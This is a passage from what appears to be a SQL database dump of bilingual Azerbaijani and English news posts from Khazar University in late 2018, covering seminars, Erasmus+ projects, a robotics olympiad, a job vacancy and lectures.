of Khazar University, Rovshan Abbasov will deliver a report on the topic “<em>Ecosystem services of metropolitan territorial lakes</em>”.</p>'),(6106,3481,'az','Tədqiqat seminarı/təlim keçiriləcək','2018-ci il oktyabrın 11-i saat 10:00-da Xəzər Tədqiqata Dəstək Mərkəzinin...','<p>2018-ci il oktyabrın 11-i saat 10:00-da Xəzər Tədqiqata Dəstək Mərkəzinin 2018/2019-cu akademik il üçün ilk tədqiqat seminarı keçirələcək. Dəvət edilmiş məruzəçi Çikago Dövlət Universitetinin professoru Nadeem Fazal “<em>Konfrans və ya məqalə üçün elmi xülasəni necə yazmalı</em>” mövzusunda seminar/təlim verəcək.</p><p>Seminar Xəzər Universitetinin “Neftçilər” kampusunun konfrans zalında (otaq 102N) keçiriləcək.</p><p>Hər kəs dəvətlidir. Ph.D. və magistr tələbələrin seminarda iştirakı ciddi şəkildə tövsiyə olunur.</p><p>Professor Nadeem Fazal haqda məlumatı&nbsp;<a href=\"http://www.khazar.org/files/events/Nadeem_Fazal_Fulbright_Scholar_Azerbaijan.pdf\" style=\"font-weight:bold\">bu linkdən</a>&nbsp;əldə edə bilərsiniz.</p>'),(6107,3481,'en','RESEARCH SEMINAR/WORKSHOP TO BE HELD','On October 11, 2018, at 10:00 a.m., Khazar Research Support Center will conduct its first...','<p>On October 11, 2018, at 10:00 a.m., Khazar Research Support Center will conduct its first research seminar for the 2018/2919 academic year.&nbsp; Invited speaker Nadim Fazal, a professor of Chicago State University, will talk about \"How to write an Abstract for a conference or a paper\".</p><p>The seminar will take place at Neftchilar Campus (room 102N) of Khazar University.&nbsp;</p><p>Everyone is welcome to attend. Ph.D. and Master students are strongly encouraged to participate in the seminar.</p><p>More information about Professor Nadeem Fazal is available&nbsp;<a href=\"/files/events/Nadeem_Fazal_Fulbright_Scholar_Azerbaijan.pdf\"><strong>here</strong></a>.</p>'),(6279,3574,'az','Doktorant və dissertantların tezis təqdimatı olacaq','2018-ci il il noyabrın 13-ü saat 10:00-da Xəzər Universitetində...','<p>2018-ci il il noyabrın 13-ü saat 10:00-da Xəzər Universitetində&nbsp;doktorant və dissertantların tezis təqdimatı (10 dəqiqə təqdimat + 5 dəqiqəlik sual-cavab sessiyası olmaqla) təşkil ediləcək.</p><p>Bütün PhD-lər və müvafiq departament müdirlərinin iştirakı vacibdir.</p><p>Hesabatın multimediada, PowerPoint təqdimatında olması tövsiyə olunur.</p><p>Təqdimat slaydlarında aşağıdakı məlumatların olması tövsiyə edilmişdir:</p><ol style=\"font-size:large\"><li>Mövzu haqqında qısa məlumat</li><li>Məqsəd və vəzifələr</li><li>İstifadə olunan üsullar</li><li>Gözlənilən nəticələr</li><li>İddiaçının nəşrləri və ya iştirak etdiyi konfransın adı (əgər varsa)</li></ol><p>Seminarın gündəliyini doldurmaq üçün departament müdirlərinin mövzuların və iştirakçıların adlarını 2018-ci il noyabrın 5-i saat 17:00-dək Moozhan Serpoush (<a href=\"mailto:moozhan.serpoush@khazar.org\">moozhan.serpoush@khazar.org</a>) və ya Səbinə Şərifovaya (<a href=\"mailto:ssharifova@khazar.org\">ssharifova@khazar.org</a>) göndərməsi xahiş olunur.</p>'),(6108,3468,'az','Vakansiya: Beynəlxalq əlaqələr şöbəsi koordinator axtarır','Xəzər Universiteti Beynəlxalq əlaqələr şöbəsi koordinator vəzifəsi üzrə vakansiya elan edir...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;background:white\"\"=\"\">Xəzər\r\nUniversiteti Beynəlxalq əlaqələr şöbəsi koordinator vəzifəsi üzrə vakansiya\r\nelan edir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><strong>Minimum\r\ntələblər:</strong></p>\r\n<ul><li>Bakalavr dərəcəsi;</li><li>Əla ingilis dili biliyi;</li><li>Yaxşı yazılı və şifahi ünsiyyət bacarığı;</li><li>Yaxşı təşkilatçılıq bacarığı;</li><li>Təfsilatlara fikir vermək, öhdəlikləri vaxtında icra etmək, vaxtı\r\nidarə etmək bacarığı;</li><li>Müstəqil və komanda işinə uyğulaşma, sürətli mənimsəmə bacarığı.</li></ul><p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Vəzifə\r\nöhdəlikləri aşağıda göstərilmiş, eləcə də, digər bacarıqları ehtiva edir:</p>\r\n<ul><li>Əcnəbi tələbələrin qəbulu prosesi;</li><li>Əcnəbi tələbələrin qəbulunun koordinasiyası;</li><li>Əcnəbi tələbələrin yönləndirilməsi və fəaliyyətə\r\ncəlb edilməsi;</li><li>Xəzər\r\nUniversiteti Beynəlxalq Təqaüd Proqramının idarə edilməsi;</li><li>Mevlana\r\nMübadilə Proqramının koordinasiya edilməsi;</li><li>·Digər\r\nlayihə və proqramların icrasında iştirak edilməsi.</li></ul><p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Müraciət\r\netmək istəyənlər <strong>2018-ci il oktyabrın 10-dək</strong> öz CV-lərini “<em>Coordinator at International\r\nAffairs Office</em>” mövzusu ilə aşağıdakı emailə\r\ngöndərə bilərlər:&nbsp;<a href=\"mailto:hr@khazar.org\"><strong>hr@khazar.org</strong></a><em><strong>.</strong></em></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Gecikmiş müraciətlər\r\nnəzərə alınmayacaq. Ancaq seçilmiş namizədlərlə əlaqə saxlanılacaq.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Müraciət\r\nüçün son tarix: 10 oktyabr 2018-ci il.</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Beynəlxalq əlaqələr şöbəsi </strong></p><p>\r\nXəzər Universiteti\r\nBeynəlxalq əlaqələr şöbəsinin vəzifəsi əcnəbi tələbələrin qəbulu, qeydiyyatı, təlimlərə\r\ncəlb edilməsi, müəllim və tələbələr üçün mübadilə proqramları, universitet/təşkilat/Azərbaycandakı\r\nxarici səfirliklərlə əməkdaşlıq, eləcə də, Azərbaycanın xarici ölkələrdəki səfirlikləri\r\nilə əməkdaşlıq, o cümlədən, universitetin fəaliyyət çərçivəsində digər layihə və\r\ntapşırıqları özündə ehtiva edən beynəlmiləlləşmə strategiyasını hazırlamaq və\r\nicra etməkdir. Həmçinin, Beynəlxalq əlaqələr şöbəsi əcnəbi tələbə/tədqiqatçı/qonaqlara\r\nbələdçilik və məsləhət xidməti də göstərir. Beynəlxalq Əlaqələr Şöbəsi haqqında əlavə\r\nməlumatı bu link vasitəsilə əldə etmək olar: <a href=\"http://international.khazar.org/\">http://international.khazar.org/</a>.</p>'),(6109,3482,'az','Erasmus+ PAWER layihəsi çərçivəsində regional konfrans','2018-ci il oktyabrın 5-də Xəzər Universiteti Erasmus+ PAWER layihəsi çərçivəsində bir günlük regional konfrans keçirildi...','<p>2018-ci il oktyabrın 5-də Xəzər Universiteti Erasmus+ PAWER layihəsi çərçivəsində bir günlük regional konfrans keçirildi. Konfransda Azərbaycan Respublikası Təhsil Nazirliyi, Xəzər Universiteti, Bakı Mühəndislik Universiteti, Gürcüstanın İlia Cavcavadze adına Dövlət Universiteti, Akaki Tsereteli Dövlət Universiteti, Batumi Dövlət Universiteti və Gürcüstan Respublikasının Təhsil, Elm, İdman və Mədəniyyət Nazirliyinin nümayəndələri iştirak edirdilər.</p><p>Konfrans öz işinə səhər saat 10:00-da layihə tərəfdaşlarının daxili görüşü ilə başlamışdır. Görüşdə layihənin tərəfdaşları olan Xəzər Universiteti, Bakı Mühəndislik Universiteti, Gürcüstanın universitetləri ilə yanaşı, Azərbaycan Dillər Universiteti və Naxçıvan Dövlət Universitetinin nümayəndələrinin də iştirakı ilə tələbələrin Erasmus+ layihələri və digər layihələr çərçivəsində mobilliyi, onların mübadiləyə getdikləri universitetlərdə topladığı kreditlərin tanınması məsələləri müzakirə olundu.</p><p>Konfransın rəsmi açılış mərasimi saat 14:00-da universitetin “Mərmər” zalında baş tutmuşdur. Konfransı açılış sözü ilə başlayan Dr. Hassan Niknafsdan sonra qonaqları salamlayan Azərbaycan Təhsil Nazirliyinin rəsmisi dos. Şahin Bayramov PAWER layihəsinin Azərbaycan universitetləri üçün vacibliyindən və aktuallığından danışdı. Tədbir təqdimatçıların çıxışları ilə davam etdi və qoyulan məsələlər geniş müzakirə olundu.</p><p>Qeyd edək ki, tədbir layihədə həyata keçirilmiş işlərin geniş ictimaiyyətə çatdırılması məqsədini daşıyır.</p>'),(6110,3482,'en','Regional conference within Erasmus+ PAWER project','On October 5, 2018, a one-day regional conference was held within Khazar University Erasmus+ PAWER project...','<p>On October 5, 2018, a one-day regional conference was held within Khazar University Erasmus+ PAWER project. The Ministry of Education of the Republic of Azerbaijan, Khazar University, Baku Engineering University, Georgian State University named after Ilia Chavchavadze, Akaki Tsereteli State University, Batumi State University and Ministry of Education, Science, Sports and Culture of the Republic of Georgia were represented at the conference.</p><p>The conference started at 10:00 with the meeting of the partners. Azerbaijan University of Languages and Nakhchivan State University, along with partner universities - Khazar University, Baku Engineering University, and Georgian</p><p>universities, were also represented at the meetings during which issues such as student mobility within Erasmus+ and other projects and credit recognition were discussed.</p><p>An official opening ceremony took place at 14:00 in the “Marble” hall of the University. Dr Hassan Niknafs delivered an opening speech. Then Assoc.Prof.Shahin Bayramov, an official of the Ministry of Education, greeted the guests and underlined the importance of PAWER project for universities of Azerbaijan. Then the speakers delivered presentations and discussed important issues.</p><p>The aim of the conference was to disseminate information about project achievements.</p>'),(6111,3483,'az','Xəzər Universitetinin “robotçuları” Azərbaycanı dünyada təmsil edəcəklər','2018-ci il oktyabrın 6-da Azərbaycan Respublikası Gənclər və İdman Nazirliyinin dəstəyi, Azərbaycan Robototexnika...','<p>2018-ci il oktyabrın 6-da Azərbaycan Respublikası Gənclər və İdman Nazirliyinin dəstəyi, Azərbaycan Robototexnika Mühəndislik Akademiyası və “Gənclərin Təhsil, Təlim, Peşə və İnkişaf Mərkəzi” İctimai Birliyinin təşkilatçılığı ilə Əl Oyunları Sarayında 20 təhsil müəssisəsindən 54 komandanın iştirakı ilə 4 kateqoriya üzrə Azərbaycan II Robot Olimpiadası keçirildi. Qeyd edək ki, təyin olunmuş qaydalara əsasən qalib komandalar 2018-ci il noyabrın 16-dan 18-dək Tailand Krallığında keçiriləcək Dünya Robot Olimpiadasında ölkəmizi təmsil edəcəklər.</p><p>Xəzər Universiteti olimpiadada Mühəndislik və Tətbiqi Elmlər fakültəsinin Kompüter mühəndisliyi ixtisasının 3-cü kurs tələbəsi Emin Bayramovun rəhbərliyi ilə 2 kateqoriya üzrə adları qeyd olunan 6 komanda ilə çıxış etdi:</p><p style=\"padding-left:40px\">1.&nbsp;“Killshot” (Məhəmməd Məmmədli, Vüsal İsmayılov, Rauf Hacıyev)</p><p style=\"padding-left:40px\">2.&nbsp;“Robin Food” (Əli Rüstəmov, Zaman Kərimov, Elnur Vəlixanlı)</p><p style=\"padding-left:40px\">3.&nbsp;“Prime Generation” (Sənan Qulamov, Fərid Salehli)</p><p style=\"padding-left:40px\">4.&nbsp;&nbsp;“X-Y-Z” (Rafiq Şərifov, Məmmədəli Ağabəyli, Şükür Əliyev)</p><p style=\"padding-left:40px\">5.&nbsp;“The Squad” (Elvin Ziyalı, Ziya Məmmədov, Murad Əlizadə)</p><p style=\"padding-left:40px\">6.&nbsp;“Robocop” (Taleh Məmmədov, Fəxri Əfrasiyab)</p><p>“Open” kateqoriyası üzrə “Robin Food” komandası bütün diqqətləri üzərinə toplayaraq, 4-cü, “Prime Generation” komandası isə 3-cü yerə layiq görüldü.</p><p>“Regular Senior” kateqoriyası Xəzər Universitetinin komandasının böyük üstünlüyü ilə keçdi. Belə ki, “Killshot” komandası bütün rəqiblərini üstələyərək, 1-ci yeri qazandı və Azərbaycanı Dünya Finallarında təmsil etmək üçün Tailand Krallığına getmək haqqını qazandı.</p>'),(6112,3483,'en','“Robotics specialists” of Khazar University will represent Azerbaijan  in the International Arena','On October 6, 2018, on organizational support of the Ministry of Youth and Sports of the Republic of Azerbaijan and organizational...','<p>On October 6, 2018, on organizational support of the Ministry of Youth and Sports of the Republic of Azerbaijan and organizational initiatives of Azerbaijan Robotics Engineering Academy and “Education, Training, Vocational and Development Center for Youth” Public Union, Azerbaijan II Robotics Olympiad was held in Palace of Hand Games. Olympiad took place on 4 categories with participation of 54 teams from 20 educational institutions. According to the rules, the winning teams gain the right to represent Azerbaijan in World Robotics Olympiad to be held on 16-18 November, 2018, in the Kingdom of Thailand.</p><p>Khazar University was represented at the Olympiad by 6 teams on 2 categories, under the leadership of Emin Bayramov, a 3<sup>rd</sup> year student of the School of Engineering and Applied Sciences:</p><p style=\"padding-left:40px\">1. “Killshot” (Mahammad Mammadli, Vusal Ismayilov, Rauf Hajiyev)</p><p style=\"padding-left:40px\">2. “Robin Food” (Ali Rustamov, Zaman Karimov, Elnur Valikhanli)</p><p style=\"padding-left:40px\">3. “Prime Generation” (Sanan Gulamov, Farid Salehli)</p><p style=\"padding-left:40px\">4. “X-Y-Z” (Rafig Sharifov, Mammadli Aghabayli, Shukur Aliyev)</p><p style=\"padding-left:40px\">5. “The Squad” (Elvin Ziyali, Ziya Mammadov, Murad Alizadeh)</p><p style=\"padding-left:40px\">6. “Robocop” (Taleh Mammadov, Fakhri Afrasiyab)</p><p>In “Open” category, “Robin Food” team performed outstandingly and was deserved the 4<sup>th</sup> place while “Prime Generation” held the 3<sup>rd</sup> place.</p><p>Khazar University team achieved a dominant position in “Regular Senior” category in which “Killshot” team became a winner surpassing all its opponents. “Killshot” will represent Azerbaijan in World Robotics Olympiad to be held in the Kingdom of Thailand.</p>'),(6157,3506,'en','BACHELOR AND MASTER STUDENTS: Applications are accepted for ERASMUS+ Exchange Opportunities!','Do you want to study a semester or a year abroad, meet new friends and learn about other cultures...','<p style=\"text-align:center\"><strong><br><img src=\"/files/events/erasmus.jpg\" style=\"width:489px;height:140px\"><br></strong></p><p style=\"text-align:center\"><strong><br>BACHELOR\r\nAND MASTER STUDENTS:</strong></p>\r\n<p style=\"text-align:center\"><strong>Applications\r\nare NOW accepted for ERASMUS PLUS Exchange Opportunities!</strong>&nbsp;</p>\r\n<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center\"=\"\"><strong><br>DEADLINE: </strong>17:00 (5:00pm), Thursday, October 18, 2018</p>\r\n<p style=\"text-align:center\"><strong style=\"color:#ff0000\">LATE APPLICATIONS WILL\r\nNOT BE ACCEPTED</strong></p>\r\n<p><br>Do you want to study a semester or a year abroad, meet new friends and\r\nlearn about other cultures? Then apply to Erasmus Plus Programme!</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">\r\n<br>\r\n<strong>WHO IS ELIGIBLE?</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Bachelor and master students who:</p><ul><li>Are enrolled in a Khazar University undergraduate/graduate degree program at the time of application</li><li>Are qualified second year bachelor or master level student</li><li>Have a cumulative GPA of 85 and higher</li><li>Have no disciplinary sanctions within the past 6 months</li></ul>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">\r\n<br>\r\n<strong>HOW TO APPLY?</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Fill out the application form\r\nand submit it in paper or electronically to the International Affairs Office:</p>\r\n<ul><li>Paper\r\nsubmission: Room#512, 5<sup>th</sup> floor, Neftchiler Campus (41 Mehseti\r\nstreet)</li><li>Electronic\r\nsubmission: <a href=\"mailto:international@khazar.org\">international@khazar.org</a><br>(subject\r\nline: Erasmus Plus Application – Your First Name and Last Name)</li></ul>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;<br>Application Forms (electronic\r\nand paper) could be obtained from Khazar University’s website (download from\r\nthis announcement), Deans’ Offices and the International Affairs Office.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong><br>WHERE CAN I STUDY?</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Khazar University has Erasmus+\r\nagreements with numerous universities in countries like Bulgaria, Italy,\r\nPoland, Slovenia, Spain, Turkey, and others. Partner-universities include:</p>\r\n<ul><li>Varna\r\nUniversity of Management (Bulgaria)</li><li>University of\r\nPavia (Italy)</li><li>Sapienza\r\nUniversity of Rome (Italy)</li><li>Kozminski\r\nUniversity (Poland)</li><li>University of\r\nLjubljana (Slovenia)</li><li>Polytechnic\r\nUniversity of Valencia (Spain)</li><li>Kadir Has\r\nUniversity (Turkey)</li><li>Manisa Celal\r\nBayar University (Turkey)</li><li>Middle East\r\nTechnical University (METU) (Turkey)<br>and\r\nothers&nbsp;</li></ul>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong><br>DOWNLOAD APPLICATION FORMS:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><a href=\"/files/events/Bachelor_Application_Erasmus_Oct_2018.docx\">Bachelor\r\nApplication Form</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><a href=\"/files/events/Master_Application_Erasmus_Oct_2018.docx\">Master\r\nApplication Form</a></p>'),(6158,3507,'az','Xəzər Universitetində “Dünya Tək Sağlamlıq” gününə həsr edilmiş simpozium keçiriləcək','2018-ci il noyabrın 2-də Xəzər Universitetində alimlər, səhiyyə işçiləri, tədqiqatçılar və tələbələrin iştirakı ilə Dünya...','<p><a href=\"/files/events/onehealth-poster.jpg\"></a><a href=\"/files/events/onehealth-poster.jpg\" target=\"_blank\"><img src=\"/files/events/onehealth-poster.jpg\" style=\"float:left;width:300px;height:500px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a>2018-ci il noyabrın 2-də Xəzər Universitetində alimlər, səhiyyə işçiləri, tədqiqatçılar və tələbələrin iştirakı ilə Dünya Tək Sağlamlıq gününə həsr edilmiş 2-ci simpozium keçiriləcək.&nbsp;</p><p>Simpoziumun məqsədi Azərbaycanda və dünyada insan, heyvan və ekosistem sağlamlığı problemlərini tanımaq və inkişaf etdirmək üçün “Bir Sağlamlığ”ın əhəmiyyətini anlamaq, bilik və məlumat mübadiləsi aparmaqdır.</p><p>Tədbir ictimaiyyətə açıqdır.</p><p>Xəzər Universitetində&nbsp;keçirilən tədbir <strong><em>One Health Platform</em></strong> veb səhifəsində qeyd edilmişdir:</p><p><a href=\"https://onehealthplatform.com/node/3205\">https://onehealthplatform.com/node/3205</a>.</p>'),(6159,3507,'en','“World One Health” Symposium to be held at Khazar University','On November 2, 2018, Khazar University will be conducting its 2nd symposium dedicated to World One Health...','<p><a href=\"/files/events/onehealth-poster.jpg\"></a><a href=\"/files/events/onehealth-poster.jpg\" target=\"_blank\"><img src=\"/files/events/onehealth-poster.jpg\" style=\"float:left;width:300px;height:500px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a>On November 2, 2018, Khazar University will be conducting its 2<sup>nd</sup> symposium dedicated to World One Health Day with the participation of scholars, health professionals, researchers, and students.&nbsp;</p><p>The main aim of the symposium is to promote understanding of the importance of One Health, exchange data and knowledge to recognize and improve human, animal and ecosystem health issues in Azerbaijan and around the globe.</p><p>The event is open to the public.</p><p>This event published on One Health Platform website:</p><p><a href=\"https://onehealthplatform.com/node/3205\">https://onehealthplatform.com/node/3205</a>.<br></p>'),(6160,3508,'az','PAWER layihəsinin növbəti görüşü Tacikistanda oldu','2018-ci il oktyabrın 11-i və 12-də Xəzər Universiteti İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova Tacik...','<p>2018-ci il 11-12 oktyabr tarixlərində Xəzər Universiteti İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova Tacik Dövlət Kommersiya Universitetində (Tacikistan) PAWER layihəsi çərçivəsində keçirilən növbəti idarəetmə görüşündə iştirak etdi. Tədbir layihənin davam etdiyi dövrdə nail olunmuş məqsədlər, indiyə qədər görülmüş işlər haqqında və qarşıda duran məsələləri müzakirə etmək məqsədilə təşkil olunmuşdu. Görüşdə, həmçinin, layihə çərçivəsində tərəfdaş universitetlər arasında tələbə mübadiləsinin həyata keçirilməsi üçün uyğun ixtisaslar üzrə fənlər müəyyənləşdirildi və tərəfdaş universitetlər tələbə mübadiləsini həyata keçirməyə təşviq edildi. Həmçinin, layihənin növbəti görüş vaxtları müəyyənləşdirildi və layihə tərəfdaşlarının növbəti idarəetmə görüşü&nbsp;2019-cu ilin mayında Xəzər Universitetində keçirilməsi planlaşdırıldı.</p><p>Qeyd edək ki, Düşənbədə keçirilən idarəetmə görüşündə Azərbaycan Respublikasının Təhsil Nazirliyinin rəsmisi dosent Şahin Bayramov da iştirak edirdi.</p>'),(6161,3508,'en','Next meeting within PAWER project held in Tajikistan','On October 11 and 12, 2018, Ulkar Bayramova, Project Manager at the Center for Development of Khazar...','<p>On October 11 and 12, 2018, Ulkar Bayramova, Project Manager at the Center for Development of Khazar University, took part in the Steering Committee meeting within PAWER project held in Tajik State University of Commerce (Tajikistan). The aim of the meeting was to discuss project achievements and plans to be implemented. Moreover, the courses of relevant specialties were defined for student exchange program among partner universities within the project and the universities were encouraged to facilitate student exchange programs. Also, the time for the following meeting was appointed, and it was planned to organize a&nbsp;next&nbsp;Steering Committee&nbsp;meeting for the project partners in May&nbsp;2019 at Khazar University.</p><p>Assoc. Prof. Shahin Bayramov, an official of the Ministry of Education of the Republic of Azerbaijan, also participated in the meeting held in Dushanbe.</p>'),(6182,3519,'az','Xəzər Universitetinin müəllimi Türkiyədə beynəlxalq simpoziumda və seminarlarda iştirak etdi','2018-ci il oktyabrın 3-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Araz Aslanlı...','<p>2018-ci il oktyabrın 3-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Araz Aslanlı Türkiyədə keçirilən beynəlxalq simpozium və seminarlarda iştirak etdi. Araz Aslanlı Giresun Bələdiyyə salonunda əcnəbi tələbələr üçün təşkil edilmiş “Qarabağ problemində hüquqi və hərbi vəziyyət” adlı təlim-seminarda məruzə etdi.</p><p>Araz Aslanlı oktyabrın 4-də Gümüşhanə Universitetində təşkil edilən beynəlxalq simpoziumda məruzə etdi. Məruzədə Azərbaycan-Bosniya və Hersoqovina münasibətləri təhlil edildi, iki ölkənin 1990-cı illərdə oxşar problemlərlə qarşılaşdığı vurğulandı və Ermənistanın işğalçılıq siyasətinin yaratdığı mənfi nəticələrə toxunuldu.</p><p>2018-ci il oktyabrın 6-da isə Ankara şəhərində təşkil edilən təlim-seminarda məruzəçi kimi çıxış edən Araz Aslanlı Qarabağ probleminin tarixi təməllərinə və həlli prosesinə, xüsusilə Ermənistanın Azərbaycan ərazilərini işğal etməsinin Azərbaycan və ümumilikdə region üçün yaratdığı ağır nəticələrə toxundu.</p>'),(6183,3519,'en','Khazar University instructor participates both in an international symposium and workshop in Turkey','On October 3, 2018, Araz Aslanli, Instructor of the Department of History and Archaeology of Khazar University...','<p>On October 3, 2018, Araz Aslanli, Instructor of the Department of History and Archaeology of Khazar University, participated both in an international symposium and workshop held in Turkey. Araz Aslanli made a report in a workshop “Legal and military situation in Garabakh conflict” organized by Giresun Municipality hall for international students.</p><p>On October, Araz Aslanli also made a report in an international symposium organized in Gümüşhane University. In the report, the relations between Azerbaijan and Bosnia and Herzegovina are analysed. The report also mentions that both countries experienced similar problems in the 1990s and mentions negative results of occupation by Armenia.</p><p>On October 6, 2018, Araz Aslanli participated as a reporter in the workshop organized in Ankara. He talked about the historical roots of the problem and its resolution process. He also remarked the casualties caused by Armenian occupation.</p>'),(6184,3520,'az','İsveçrəli siyasətşünas Dr.Wolf Linder Xəzər Universitetində mühazirə ilə çıxış edəcək','2018-ci il oktyabrın 25-i saat 10:30-da siyasətşünas, İsveçrə Elmi Şurasının üzvü Dr. Wolf Linder...','<p><a href=\"/files/events/wolf_linder-poster.jpg\"><img src=\"/files/events/wolf_linder-poster.jpg\" style=\"float:left;width:200px;height:281px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a>2018-ci il oktyabrın 25-i saat 10:30-da siyasətşünas, İsveçrə Elmi Şurasının üzvü Dr. Wolf Linder “İsveçrə birbaşa demokratiya modeli və Aİ-İsveçrə münasibətləri” adlı mühazirə ilə Xəzər Universitetində çıxış edəcək. Mühazirə universitetin “Neftçilər” kampusundakı konfrans zalında (otaq 102N) keçiriləcək.</p><p>Maraqlanan hər kəs mühazirədə iştirak edə bilər.</p>'),(6185,3520,'en','Swiss political scientist and legal expert Dr. Wolf Linder to hold a lecture at Khazar University','Political Science and International Relations Department invites you to a lecture on “Swiss Direct Democracy...','<p><a href=\"/files/events/wolf_linder-poster.jpg\"><img src=\"/files/events/wolf_linder-poster.jpg\" style=\"float:left;width:200px;height:281px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></p><p><a href=\"/files/events/wolf_linder-poster.jpg\">The event is open to the public.</a></p><a href=\"/files/events/wolf_linder-poster.jpg\">\r\n<p><strong>Date</strong>: 25 October 2018, 10:30</p><p><strong>Place</strong>: Conference hall of the Neftchilar Campus (room 102N) at Khazar University.</p></a>'),(6186,3521,'en','“Mammad Araz Poetry Day” published in the newspaper “Literature”','The newspaper “Literature” published two articles about “Mammad Araz Poetry Day”. An article about...','<p>The newspaper “Literature” published two articles about “Mammad Araz Poetry Day”. An article about the event was published on October 10, 2018, and an article by Gardashkhan Azizkhanli, the organizer of the event and Instructor of the Department of Azerbaijani Language and Literature of Khazar University, was published on October 13, 2018.</p><p>Further information is available through the following links:</p>  \r\n<p><a href=\"http://edebiyyatqazeti.az/news/incesenet/2537-istedadlara-meydan-vermis-iii-memmed-araz-poeziya-gunu\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\" previewinformation=\"1\">http://edebiyyatqazeti.az/news/incesenet/2537-istedadlara-meydan-vermis-iii-memmed-araz-poeziya-gunu</a></p><p><a href=\"http://edebiyyatqazeti.az/news/gundem/2524-iii-memmed-araz-poeziya-gunune-yekun-vuruldu\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\">http://edebiyyatqazeti.az/news/gundem/2524-iii-memmed-araz-poeziya-gunune-yekun-vuruldu</a></p>'),(6187,3521,'az','“Məmməd Araz poeziya günü” adlı tədbir “Ədəbiyyat” qəzetində','“Ədəbiyyat” qəzeti Xəzər Universitetində keçirilmiş “Məmməd Araz poeziya günü” adlı tədbirə iki yazı həsr etmişdir...','<p>“Ədəbiyyat” qəzeti Xəzər Universitetində keçirilmiş “Məmməd Araz poeziya günü” adlı tədbirə iki yazı həsr etmişdir. Qəzetdə 2018-ci il oktyabrın&nbsp;10-da tədbir haqqında məlumat, oktyabrın 13-də isə Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi, tədbirin təşkilatçısı Qardaşxan Əzizxanlının yazısı dərc edilmişdir.</p><p>Bu haqda daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"http://edebiyyatqazeti.az/news/incesenet/2537-istedadlara-meydan-vermis-iii-memmed-araz-poeziya-gunu\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\" previewinformation=\"1\">http://edebiyyatqazeti.az/news/incesenet/2537-istedadlara-meydan-vermis-iii-memmed-araz-poeziya-gunu</a></p><p><a href=\"http://edebiyyatqazeti.az/news/gundem/2524-iii-memmed-araz-poeziya-gunune-yekun-vuruldu\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\">http://edebiyyatqazeti.az/news/gundem/2524-iii-memmed-araz-poeziya-gunune-yekun-vuruldu</a></p>'),(6188,3522,'az','Tələbələr Milli Arxiv İdarəsində','2018-ci il oktyabrın 10-da Xəzər Universitetinin müəllimi, professor Nəsiman Yaqublunun tədris etdiyi...','<p>2018-ci il oktyabrın 10-da Xəzər Universitetinin müəllimi, professor Nəsiman Yaqublunun tədris etdiyi “Azərbaycan tarixi-3” fənni Azərbaycan Respublikası Milli Arxiv İdarəsində (MAİ) keçirildi.</p><p>Tələbələri MAİ-nin əməkdaşları qarşıladılar, onlara idarə haqqında dolğun məlumat verildi. Tələbələr Azərbaycan Xalq Cümhuriyyətinin elan edilməsi haqqında İstiqlal Bəyannaməsinin orijinal nüsxəsi ilə tanış oldular. Arxivin əməkdaşı Səyyarə Hacıyeva oxu zalında çalışmaq qaydaları barədə tələbələrə geniş izahat verdi. Laboratoriya müdiri Rəfiqə Korenkova onları laboratoriyada iş prosesi ilə tanış etdi. Laborantlar köhnə qəzet nüsxələrinin bərpası prosesini tələbələrə əyani şəkildə göstərdilər.</p>'),(6189,3522,'en','Visiting the Department of National Archives','On October 10, 1018, a lesson within the subject “History of Azerbaijan”, taught by Nasiman Yagublu, was held at the Department...','<p>On October 10, 1018, a lesson within the subject “History of Azerbaijan”, taught by Nasiman Yagublu, was held at the Department of National Archives of the Republic of Azerbaijan. The associates of the Department welcomed the students and informed them about the Department. The students became familiar with the original copy of the Declaration of Independence adopted by the Azerbaijan Democratic Republic. Sayyara 